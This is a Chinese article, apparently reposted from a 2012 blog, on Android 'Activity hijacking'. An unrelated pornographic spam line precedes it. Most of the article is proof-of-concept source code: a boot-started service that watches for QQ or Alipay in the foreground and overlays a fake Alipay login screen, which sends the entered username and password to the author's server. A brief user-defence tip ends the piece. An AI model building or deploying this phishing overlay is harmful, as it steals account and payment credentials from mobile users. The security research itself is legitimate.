自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

大談android安全1——Activity劫持與用戶防范

移動(dòng)開(kāi)發(fā)
當(dāng)AmS收到要啟動(dòng)或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動(dòng),前一個(gè)Activity就會(huì)停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。

1、Activity調(diào)度機(jī)制

 

在android系統(tǒng)中,不同的程序之間的切換基本上是無(wú)縫的,它們之間的切換只不過(guò)是Activity的切換。Activity的概念相當(dāng)于一個(gè)與用戶交互的界面。而Activity的調(diào)度是交由Android系統(tǒng)中的AmS管理的。AmS即ActivityManagerService(Activity管理服務(wù)),各個(gè)應(yīng)用想啟動(dòng)或停止一個(gè)進(jìn)程,都是先報(bào)告給AmS。

 

當(dāng)AmS收到要啟動(dòng)或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動(dòng),前一個(gè)Activity就會(huì)停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。每有一個(gè)Activity啟動(dòng),它就壓入歷史棧頂,并在手機(jī)上顯示。當(dāng)用戶按下back鍵時(shí),頂部Activity彈出,恢復(fù)前一個(gè)Activity,棧頂指向當(dāng)前的Activity。

 

2、Android設(shè)計(jì)上的缺陷——Activity劫持

 

如果在啟動(dòng)一個(gè)Activity時(shí),給它加入一個(gè)標(biāo)志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。

 

<img class="alignnone size-full wp-image-621" title="Activity劫持 演示文檔" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文檔.png" alt="" width="960" height="720" />

 

但是這樣的設(shè)計(jì)卻有一個(gè)缺陷。如果這個(gè)Activity是用于盜號(hào)的偽裝Activity呢?

 

在Android系統(tǒng)當(dāng)中,程序可以枚舉當(dāng)前運(yùn)行的進(jìn)程而不需要聲明其他權(quán)限,這樣子我們就可以寫(xiě)一個(gè)程序,啟動(dòng)一個(gè)后臺(tái)的服務(wù),這個(gè)服務(wù)不斷地掃描當(dāng)前運(yùn)行的進(jìn)程,當(dāng)發(fā)現(xiàn)目標(biāo)進(jìn)程啟動(dòng)時(shí),就啟動(dòng)一個(gè)偽裝的Activity。如果這個(gè)Activity是登錄界面,那么就可以從中獲取用戶的賬號(hào)密碼。

 

3、示例

 

下面是示例代碼。

 

AndroidManifest.xml文件的代碼。

 

 

  1.  <?xml version="1.0" encoding="utf-8"?> 
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android" 
  3. package="com.sinaapp.msdxblog.android.activityhijacking" 
  4. android:versionCode="1" 
  5. android:versionName="1.0" > 
  6. <uses-sdk android:minSdkVersion="4" /> 
  7. <uses-permission android:name="android.permission.INTERNET" /> 
  8. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> 
  9. <application 
  10. android:name=".HijackingApplication" 
  11. android:icon="@drawable/icon" 
  12. android:label="@string/app_name" > 
  13. <activity 
  14. android:name=".activity.HijackingActivity" 
  15. android:theme="@style/transparent" 
  16. android:label="@string/app_name" > 
  17. <intent-filter> 
  18. <action android:name="android.intent.action.MAIN" /> 
  19. <category android:name="android.intent.category.LAUNCHER" /> 
  20. </intent-filter> 
  21. </activity> 
  22. <activity android:name=".activity.sadstories.JokeActivity" /> 
  23. <activity android:name=".activity.sadstories.QQStoryActivity" /> 
  24. <activity android:name=".activity.sadstories.AlipayStoryActivity" /> 
  25. <receiver 
  26. android:name=".receiver.HijackingReceiver" 
  27. android:enabled="true" 
  28. android:exported="true" > 
  29. <intent-filter> 
  30. <action android:name="android.intent.action.BOOT_COMPLETED" /> 
  31. </intent-filter> 
  32. </receiver> 
  33. <service android:name=".service.HijackingService" > 
  34. </service> 
  35. </application> 
  36. </manifest> 
  37.  
  38. 在以上的代碼中,聲明了一個(gè)服務(wù)service,用于枚舉當(dāng)前運(yùn)行的進(jìn)程。其中如果不想開(kāi)機(jī)啟動(dòng)的話,甚至可以把以上receiver部分的代碼,及聲明開(kāi)機(jī)啟動(dòng)的權(quán)限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問(wèn)網(wǎng)絡(luò)的權(quán)限(向外發(fā)送獲取到的賬號(hào)密碼),單從AndroidManifest文件是看不出任何異常的。 
  39.  
  40. 下面是正常的Activity的代碼。在這里只是啟動(dòng)用于Activity劫持的服務(wù)。如果在上面的代碼中已經(jīng)聲明了開(kāi)機(jī)啟動(dòng),則這一步也可以省略。 
  41. Java代碼 復(fù)制代碼 收藏代碼 
  42.  
  43. package com.sinaapp.msdxblog.android.activityhijacking.activity; 
  44. import android.app.Activity; 
  45. import android.content.Intent; 
  46. import android.os.Bundle; 
  47. import android.util.Log; 
  48. import com.sinaapp.msdxblog.android.activityhijacking.R; 
  49. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; 
  50. public class HijackingActivity extends Activity { 
  51. /** Called when the activity is first created. */ 
  52. @Override 
  53. public void onCreate(Bundle savedInstanceState) { 
  54. super.onCreate(savedInstanceState); 
  55. setContentView(R.layout.main); 
  56. Intent intent2 = new Intent(this, HijackingService.class); 
  57. startService(intent2); 
  58. Log.w("hijacking", "activity啟動(dòng)用來(lái)劫持的Service"); 
  59.  
  60. 如果想要開(kāi)機(jī)啟動(dòng),則需要一個(gè)receiver,即廣播接收器,在開(kāi)機(jī)時(shí)得到開(kāi)機(jī)啟動(dòng)的廣播,并在這里啟動(dòng)服務(wù)。如果沒(méi)有開(kāi)機(jī)啟動(dòng)(這跟上面至少要實(shí)現(xiàn)一處,不然服務(wù)就沒(méi)有被啟動(dòng)了),則這一步可以省略。 
  61. Java代碼 復(fù)制代碼 收藏代碼 
  62.  
  63. /* 
  64. * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo 
  65. * Date:2012-6-7 
  66. * Copyright (c) 2011 CFuture09, Institute of Software, 
  67. * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  68. * All rights reserved. 
  69. * Licensed under the Apache License, Version 2.0 (the "License"); 
  70. * you may not use this file except in compliance with the License. 
  71. * You may obtain a copy of the License at 
  72. * http://www.apache.org/licenses/LICENSE-2.0 
  73. * Unless required by applicable law or agreed to in writing, software 
  74. * distributed under the License is distributed on an "AS IS" BASIS, 
  75. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  76. * See the License for the specific language governing permissions and 
  77. * limitations under the License. 
  78. */ 
  79. package com.sinaapp.msdxblog.android.activityhijacking.receiver; 
  80. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; 
  81. import android.content.BroadcastReceiver; 
  82. import android.content.Context; 
  83. import android.content.Intent; 
  84. import android.util.Log; 
  85. /** 
  86. * @author Geek_Soledad (66704238@51uc.com) 
  87. */ 
  88. public class HijackingReceiver extends BroadcastReceiver { 
  89. @Override 
  90. public void onReceive(Context context, Intent intent) { 
  91. if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { 
  92. Log.w("hijacking", "開(kāi)機(jī)啟動(dòng)"); 
  93. Intent intent2 = new Intent(context, HijackingService.class); 
  94. context.startService(intent2); 
  95. Log.w("hijacking", "啟動(dòng)用來(lái)劫持的Service"); 
  96.  
  97. 下面這個(gè)HijackingService類可就關(guān)鍵了,即用來(lái)進(jìn)行Activity劫持的。 
  98. 在這里,將運(yùn)行枚舉當(dāng)前運(yùn)行的進(jìn)程,發(fā)現(xiàn)目標(biāo)進(jìn)程,彈出偽裝程序。 
  99. 代碼如下: 
  100. Java代碼 復(fù)制代碼 收藏代碼 
  101.  
  102. /* 
  103. * @(#)HijackingService.java Project:ActivityHijackingDemo 
  104. * Date:2012-6-7 
  105. * Copyright (c) 2011 CFuture09, Institute of Software, 
  106. * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  107. * All rights reserved. 
  108. * Licensed under the Apache License, Version 2.0 (the "License"); 
  109. * you may not use this file except in compliance with the License. 
  110. * You may obtain a copy of the License at 
  111. * http://www.apache.org/licenses/LICENSE-2.0 
  112. * Unless required by applicable law or agreed to in writing, software 
  113. * distributed under the License is distributed on an "AS IS" BASIS, 
  114. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  115. * See the License for the specific language governing permissions and 
  116. * limitations under the License. 
  117. */ 
  118. package com.sinaapp.msdxblog.android.activityhijacking.service; 
  119. import java.util.HashMap; 
  120. import java.util.List; 
  121. import android.app.ActivityManager; 
  122. import android.app.ActivityManager.RunningAppProcessInfo; 
  123. import android.app.Service; 
  124. import android.content.Context; 
  125. import android.content.Intent; 
  126. import android.os.Handler; 
  127. import android.os.IBinder; 
  128. import android.util.Log; 
  129. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; 
  130. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; 
  131. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; 
  132. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity; 
  133. /** 
  134. * @author Geek_Soledad (66704238@51uc.com) 
  135. */ 
  136. public class HijackingService extends Service { 
  137. private boolean hasStart = false
  138. // 這是一個(gè)悲傷的故事…… 
  139. HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>(); 
  140. // Timer mTimer = new Timer(); 
  141. Handler handler = new Handler(); 
  142. Runnable mTask = new Runnable() { 
  143. @Override 
  144. public void run() { 
  145. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); 
  146. List<RunningAppProcessInfo> appProcessInfos = activityManager 
  147. .getRunningAppProcesses(); 
  148. // 枚舉進(jìn)程 
  149. Log.w("hijacking", "正在枚舉進(jìn)程"); 
  150. for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { 
  151. // 如果APP在前臺(tái),那么——悲傷的故事就要來(lái)了 
  152. if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { 
  153. if (mSadStories.containsKey(appProcessInfo.processName)) { 
  154. // 進(jìn)行劫持 
  155. hijacking(appProcessInfo.processName); 
  156. } else { 
  157. Log.w("hijacking", appProcessInfo.processName); 
  158. handler.postDelayed(mTask, 1000); 
  159. /** 
  160. * 進(jìn)行劫持 
  161. * @param processName 
  162. */ 
  163. private void hijacking(String processName) { 
  164. Log.w("hijacking", "有程序要悲劇了……"); 
  165. if (((HijackingApplication) getApplication()) 
  166. .hasProgressBeHijacked(processName) == false) { 
  167. Log.w("hijacking", "悲劇正在發(fā)生"); 
  168. Intent jackingIsComing = new Intent(getBaseContext(), 
  169. mSadStories.get(processName)); 
  170. jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 
  171. getApplication().startActivity(jackingIsComing); 
  172. ((HijackingApplication) getApplication()) 
  173. .addProgressHijacked(processName); 
  174. Log.w("hijacking", "已經(jīng)劫持"); 
  175. }; 
  176. @Override 
  177. public IBinder onBind(Intent intent) { 
  178. return null; 
  179. @Override 
  180. public void onStart(Intent intent, int startId) { 
  181. super.onStart(intent, startId); 
  182. if (!hasStart) { 
  183. mSadStories.put("com.sinaapp.msdxblog.android.lol", 
  184. JokeActivity.class); 
  185. mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class); 
  186. mSadStories.put("com.eg.android.AlipayGphone", 
  187. AlipayStoryActivity.class); 
  188. handler.postDelayed(mTask, 1000); 
  189. hasStart = true
  190. @Override 
  191. public boolean stopService(Intent name) { 
  192. hasStart = false
  193. Log.w("hijacking", "劫持服務(wù)停止"); 
  194. ((HijackingApplication) getApplication()).clearProgressHijacked(); 
  195. return super.stopService(name); 
  196.  
  197. 下面是支付寶的偽裝類(布局文件就不寫(xiě)了,這個(gè)是對(duì)老版本的支付寶界面的偽裝,新的支付寶登錄界面已經(jīng)完全不一樣了。表示老版本的支付寶的界面相當(dāng)?shù)疤?,讀從它反編譯出來(lái)的代碼苦逼地讀了整個(gè)通宵結(jié)果還是沒(méi)讀明白。它的登錄界面各種布局蛋疼地嵌套了十層,而我為了實(shí)現(xiàn)跟它一樣的效果也蛋疼地嵌套了八層的組件)。 
  198. Java代碼 復(fù)制代碼 收藏代碼 
  199.  
  200. /* 
  201. * @(#)QQStoryActivity.java Project:ActivityHijackingDemo 
  202. * Date:2012-6-7 
  203. * Copyright (c) 2011 CFuture09, Institute of Software, 
  204. * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  205. * All rights reserved. 
  206. * Licensed under the Apache License, Version 2.0 (the "License"); 
  207. * you may not use this file except in compliance with the License. 
  208. * You may obtain a copy of the License at 
  209. * http://www.apache.org/licenses/LICENSE-2.0 
  210. * Unless required by applicable law or agreed to in writing, software 
  211. * distributed under the License is distributed on an "AS IS" BASIS, 
  212. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  213. * See the License for the specific language governing permissions and 
  214. * limitations under the License. 
  215. */ 
  216. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; 
  217. import android.app.Activity; 
  218. import android.os.Bundle; 
  219. import android.os.Handler; 
  220. import android.os.HandlerThread; 
  221. import android.text.Html; 
  222. import android.view.View; 
  223. import android.widget.Button; 
  224. import android.widget.EditText; 
  225. import android.widget.TextView; 
  226. import com.sinaapp.msdxblog.android.activityhijacking.R; 
  227. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; 
  228. /** 
  229. * @author Geek_Soledad (66704238@51uc.com) 
  230. */ 
  231. public class AlipayStoryActivity extends Activity { 
  232. private EditText name; 
  233. private EditText password; 
  234. private Button mBtAlipay; 
  235. private Button mBtTaobao; 
  236. private Button mBtRegister; 
  237. private TextView mTvFindpswd; 
  238. @Override 
  239. protected void onCreate(Bundle savedInstanceState) { 
  240. super.onCreate(savedInstanceState); 
  241. this.setTheme(android.R.style.Theme_NoTitleBar); 
  242. setContentView(R.layout.alipay); 
  243. mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); 
  244. mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); 
  245. mBtRegister = (Button) findViewById(R.id.alipay_bt_register); 
  246. mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); 
  247. mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]")); 
  248. mBtAlipay.setSelected(true); 
  249. name = (EditText) findViewById(R.id.input_name); 
  250. password = (EditText) findViewById(R.id.input_password); 
  251. public void onButtonClicked(View v) { 
  252. switch (v.getId()) { 
  253. case R.id.alipay_bt_login: 
  254. HandlerThread handlerThread = new HandlerThread("send"); 
  255. handlerThread.start(); 
  256. new Handler(handlerThread.getLooper()).post(new Runnable() { 
  257. @Override 
  258. public void run() { 
  259. // 發(fā)送獲取到的用戶密碼 
  260. SendUtil.sendInfo(name.getText().toString(), password 
  261. .getText().toString(), "支付寶"); 
  262. }); 
  263. moveTaskToBack(true); 
  264. break; 
  265. case R.id.alipay_bt_alipay: 
  266. chooseToAlipay(); 
  267. break; 
  268. case R.id.alipay_bt_taobao: 
  269. chooseToTaobao(); 
  270. break; 
  271. default: 
  272. break; 
  273. private void chooseToAlipay() { 
  274. mBtAlipay.setSelected(true); 
  275. mBtTaobao.setSelected(false); 
  276. name.setHint(R.string.alipay_name_alipay_hint); 
  277. mTvFindpswd.setVisibility(View.VISIBLE); 
  278. mBtRegister.setVisibility(View.VISIBLE); 
  279. private void chooseToTaobao() { 
  280. mBtAlipay.setSelected(false); 
  281. mBtTaobao.setSelected(true); 
  282. name.setHint(R.string.alipay_name_taobao_hint); 
  283. mTvFindpswd.setVisibility(View.GONE); 
  284. mBtRegister.setVisibility(View.GONE); 
  285. }  

 

 

 

上面的其他代碼主要是為了讓界面的點(diǎn)擊效果與真的支付寶看起來(lái)盡量一樣。主要的代碼是發(fā)送用戶密碼的那一句。

 

至于SendUtil我就不提供了,它是向我寫(xiě)的服務(wù)器端發(fā)送一個(gè)HTTP請(qǐng)求,將用戶密碼發(fā)送出去。

 

4、用戶防范

 

這里我將說(shuō)下我發(fā)現(xiàn)的防范的方法,非常簡(jiǎn)單。這個(gè)方法是對(duì)用戶而言的。android手機(jī)均有一個(gè)HOME鍵(即小房子的那個(gè)圖標(biāo)),長(zhǎng)按可以看到近期任務(wù)(前幾天發(fā)現(xiàn)一個(gè)奇葩的手機(jī),居然是短按一個(gè)鍵的,而這個(gè)鍵長(zhǎng)按時(shí)是彈出MENU菜單,太奇葩了)。對(duì)于我所用的HTC G14而言,顯示的最近的一個(gè)是上一個(gè)運(yùn)行的程序。小米顯示的最近的一個(gè)是當(dāng)前運(yùn)行的程序。所以,在要輸入密碼進(jìn)行登錄時(shí),可以通過(guò)長(zhǎng)按HOME鍵查看近期任務(wù),以我的手機(jī)為例,如果在登錄QQ時(shí)長(zhǎng)按發(fā)現(xiàn)近期任務(wù)出現(xiàn)了QQ,則我現(xiàn)在的這個(gè)登錄界面就極有可能是偽裝了,切換到另一個(gè)程序,再查看近期任務(wù),就可以知道這個(gè)登錄界面是來(lái)源于哪個(gè)程序了。

 

如果是小米手機(jī)的話,在進(jìn)行登錄時(shí),如果查看的近期任務(wù)的第一個(gè)不是自己要登錄的那個(gè)程序的名字,則它就是偽裝的。

 

目前對(duì)于這種Activity劫持,沒(méi)有發(fā)現(xiàn)有任何手機(jī)查殺軟件可以主動(dòng)防范。而我所知的,也只有我發(fā)現(xiàn)的這一方法可以判別。如果有新的消息,歡迎參加討論。

責(zé)任編輯:chenqingxiang 來(lái)源: 360圖書(shū)館
相關(guān)推薦

2015-11-09 14:37:45

Android安全

2012-02-17 17:07:30

Android安全Activity劫持

2014-07-22 13:52:45

2010-09-09 22:41:18

2017-03-23 09:13:56

2012-12-25 13:45:37

2017-03-15 10:00:15

2013-05-20 10:20:02

2015-11-09 14:46:49

Android安全

2009-07-05 11:27:09

2010-12-15 17:19:34

2016-10-10 13:51:42

2023-12-20 14:42:59

2025-03-25 14:02:30

2020-07-15 09:42:35

金融安全3.0安全風(fēng)險(xiǎn)剖析

2022-07-04 09:00:00

帳戶劫持信息安全攻擊

2011-11-21 16:35:46

2010-12-29 10:28:53

2017-09-01 06:34:01

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)